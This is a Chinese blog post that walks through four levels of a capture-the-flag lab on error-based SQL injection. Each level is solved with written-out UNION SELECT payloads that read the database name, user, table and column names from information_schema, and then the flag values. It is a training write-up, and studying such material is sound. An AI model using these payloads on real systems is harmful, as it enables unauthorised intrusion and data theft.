(一)显错注入

本文详细介绍了四个不同Rank级别的SQL注入漏洞利用过程,包括验证注入点、判断列数和显示位置、获取数据库信息、列举表和字段以及提取敏感数据。每个级别都展示了如何通过注入SQL语句逐步揭示数据库结构和数据,最终获取到Flag。内容涵盖了SQL注入的基本技巧和步骤,适合安全研究人员和Web开发者学习。
摘要由CSDN通过智能技术生成

1-SQL注入-显错注入Rank 1
Tips:
通过注入找到数据库中的Flag吧
Flag格式zKaQ-XXXXXXXX

**大概思路:
1、先验证是否可以执行SQL语句来判断是否存在SQL漏洞,
2、通过order by查询到存在多少个字段。
3、通过联合查询来获得回显字段。
4、获取数据库名称以及链接用户名。
5、列出数据库中所有的表.
6、列出目标表中所有的字段
7、列出目标字段中的信息

1、先验证是否可以执行SQL语句来判断是否存在SQL漏洞
地址栏可以看到id=1,那么我放入id=5-4,页面显示正常,再添加and 1=1,页面依旧正常,再测试and 1=2显示异常,这说明此处可以进行运算符运算和逻辑运算,是可以执行sql语句的,所以存在sql注入漏洞。

在这里插入图片描述

图1-1 执行”and 1=1”的执行结果

在这里插入图片描述

图1-2 执行”and 1=2”的执行结果

2、通过order by查询到存在多少个字段
我先假设存在5个字段,我执行order by 5,显示异常

在这里插入图片描述

图 1-3 执行”order by 5”的执行结果

二分法取值3再测试order by 3,显示正常。

在这里插入图片描述

图1-4 执行”order by 3”的执行结果

再执行order by 4,显示不正常,可以确定存在3个字段。

在这里插入图片描述

图 1-5 执行“order by 4”执行结果

3、通过联合查询来获得回显字段
执行“union select 1,2,3”来查看回显点。通过执行结果可以看出显示的是第二和第三字段。
在这里插入图片描述

图1-6 “union select 1,2,3”执行结果

4、获取数据库名称以及数据库连接用户名
上一步的操作 我们获得了回显点,现在将database()替换2,执行union select 1,database(),user(),得到结果如下图,可以得知数据库名称为error,数据库用户名为nf2019@10.42.229.66

在这里插入图片描述

图1-7 union select 1,database(),user()执行结果

5、列出数据库中所有的表.
group_concat 一次性全部显示
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘error’

在这里插入图片描述

图1-8 group_concat执行结果

从执行结果可以得出存在两个表分别为:error_flag,user

6、列出目标表中所有的字段
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’error_flag’ and table_schema=database()

在这里插入图片描述
1-9 执行结果

7、列出目标字段中的信息

执行 union select 1,2,group_concat(flag) from error_flag

在这里插入图片描述

图1-10 列出字段中的信息
通过信息可得到4个flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

通过提交zKaQ-Nf获得通过。

2-SQL注入-显错注入Rank 2 (Rank: 5)

Tips:
通过注入找到数据库中的Flag吧
Flag格式zKaQ-XXXXXXXX

**大概思路和第一题差不多:
1、先验证是否可以执行SQL语句来判断是否存在SQL漏洞;
2、判断列数。
3、判断显示位。
4、获取数据库名称以及链接用户名。
5、列出数据库中所有的表.
6、列出目标表中所有的字段
7、列出目标字段中的信息

1、先验证是否可以执行SQL语句来判断是否存在SQL漏洞
列常来个and 1=1和and 1=2均显示正常,来个id=4-3,报错了,查看原因是’没有闭合,加’ — a’,显示正常,存在sql注入,但是要注意’闭合。此处存在注入点。

在这里插入图片描述

图2-1 执行id=1’ and 1=1 — a’结果

在这里插入图片描述

图2-2 执行id=1’ and 1=2 — a’结果

2、判断列数
执行order by 4 报错执行order by 3正常,所以存在3列,3个字段。

在这里插入图片描述

图2-3 执行order by 3结果

3、判断显示位。
执行’union select 1,2,3 — a’,可以得知显示点为2,3
在这里插入图片描述

图2-4 执行’union select 1,2,3 — a’结果

4、获取数据库名称以及链接用户名
执行’union select 1,user(),database() — a’得到数据库名称为error

在这里插入图片描述

图2-5回显数据库名称以及连接用户名

5、列出数据库中所有的表
执行’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘error’ — a’

在这里插入图片描述

图2-6 查询得到error_flag,user表

6、列出目标表中所有的字段
执行’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’error_flag’ and table_schema=database() — a’

在这里插入图片描述

图2-8 查询到表error_flag中存在flag字段

7、列出目标字段中的信息
执行’union select 1,2,group_concat(flag) from error_flag — a’
得到flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

在这里插入图片描述

图2-9 得到flag
在这里插入图片描述

图 2-10 提交zKaQ-BJY成功

3-SQL注入-显错注入Rank 3 (Rank: 5)
Tips:
通过注入找到数据库中的Flag吧
Flag格式zKaQ-XXXXXXXX

思路:
1、验证是否存在sql注入;
2、判断列数。
3、判断显示位。
4、获取数据库名称
5、列出数据库中所有的表.
6、列出目标表中所有的字段
7、列出目标字段中的信息

1、验证是否存在sql注入;
通过分析要注意其中有’闭合和括号闭合,故结尾需要添加)— a实现闭合
执行select from user where id=(‘1’and 1=2 )— a’)报错
执行select from user where id=(‘1’and 1=1 )— a’)正常
所以存在注入点

在这里插入图片描述

图3-1 验证存在注入点

2、判断列数。
执行select from user where id=(‘1’)order by 3— a’’)正常
执行select from user where id=(‘1’)order by 4— a’)
所以存在3例,即3个字段。
在这里插入图片描述

图3-2 执行order by 3结果

在这里插入图片描述

图3-3 执行order by 4结果

3、判断显示位
执行select *from user where id=(‘1’)union select 1,2,3 — a’)得到回显点为2,3

在这里插入图片描述

图3-4 得到回显点

4、获取数据库名称
执行select *from user where id=(‘1’)union select 1,2,database() — a’)得到数据库名称为error

在这里插入图片描述

图3-5 的到数据库名称

5、列出数据库中所有的表
执行select *from user where id=(‘1’)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘error’ — a’)
得到数据库中有error_flag,user表

在这里插入图片描述

图3-6 得到数据库中的表名称

6、列出目标表中所有的字段
执行select *from user where id=(‘1’)union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’error_flag’ and table_schema=database() — a’)
得到error_flag表中的字段为Id,flag

在这里插入图片描述

图3-7 列出error_flag中的字段

7、列出目标字段中的信息
执行select *from user where id=(‘1’)union select 1,2,group_concat(flag) from error_flag — a’)得到flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
在这里插入图片描述

图3-8 得到flag

通过提交测试flag为:zKaQ-XiaoFang

4-SQL注入-显错注入Rank 4 (Rank: 5)
思路:
1、验证是否存在sql注入;
2、判断列数。
3、判断显示位。
4、获取数据库名称
5、列出数据库中所有的表.
6、列出目标表中所有的字段
7、列出目标字段中的信息

1、验证是否存在sql注入
这个题需要注意双引号和括号的闭合:
执行and 1=1 和and 1=2测试存在sql注入点

在这里插入图片描述

在这里插入图片描述

图4-1 验证注入点

2、判断列数
执行select from user where id=(“1”)order by 3 — a”)正常
执行select from user where id=(“1”)order by 3 — a”)异常,可以判断有3列。

在这里插入图片描述
在这里插入图片描述

图4-2 判断列数

3、判断显示位
执行select *from user where id=(“1”)union select 1,2,3 — a”)
得知回显点为2,3
在这里插入图片描述

图4-3 判断回显点

4、获取数据库名称
执行select *from user where id=(“1”)union select 1,2,database() — a”)得到数据可以名称为error
在这里插入图片描述

图 4-4 得到数据库名称

5、列出数据库中所有的表
执行select *from user where id=(“1”)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘error’ — a”)得到表error_flag,user

在这里插入图片描述

图4-5 得到表

6、列出目标表中所有的字段
执行select *from user where id=(“1”)union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’error_flag’ and table_schema=database() — a”)
得到表中的字段为:Id,flag

在这里插入图片描述

图4-6 得到表中的字段

7、列出目标字段中的信息
执行
select *from user where id=(“1”)union select 1,2,group_concat(flag) from error_flag — a”)
获得flag为:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

在这里插入图片描述

图4-7获得flag

通过提交测试得到flag为:zKaq-98K

李连活的个人博客入口

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值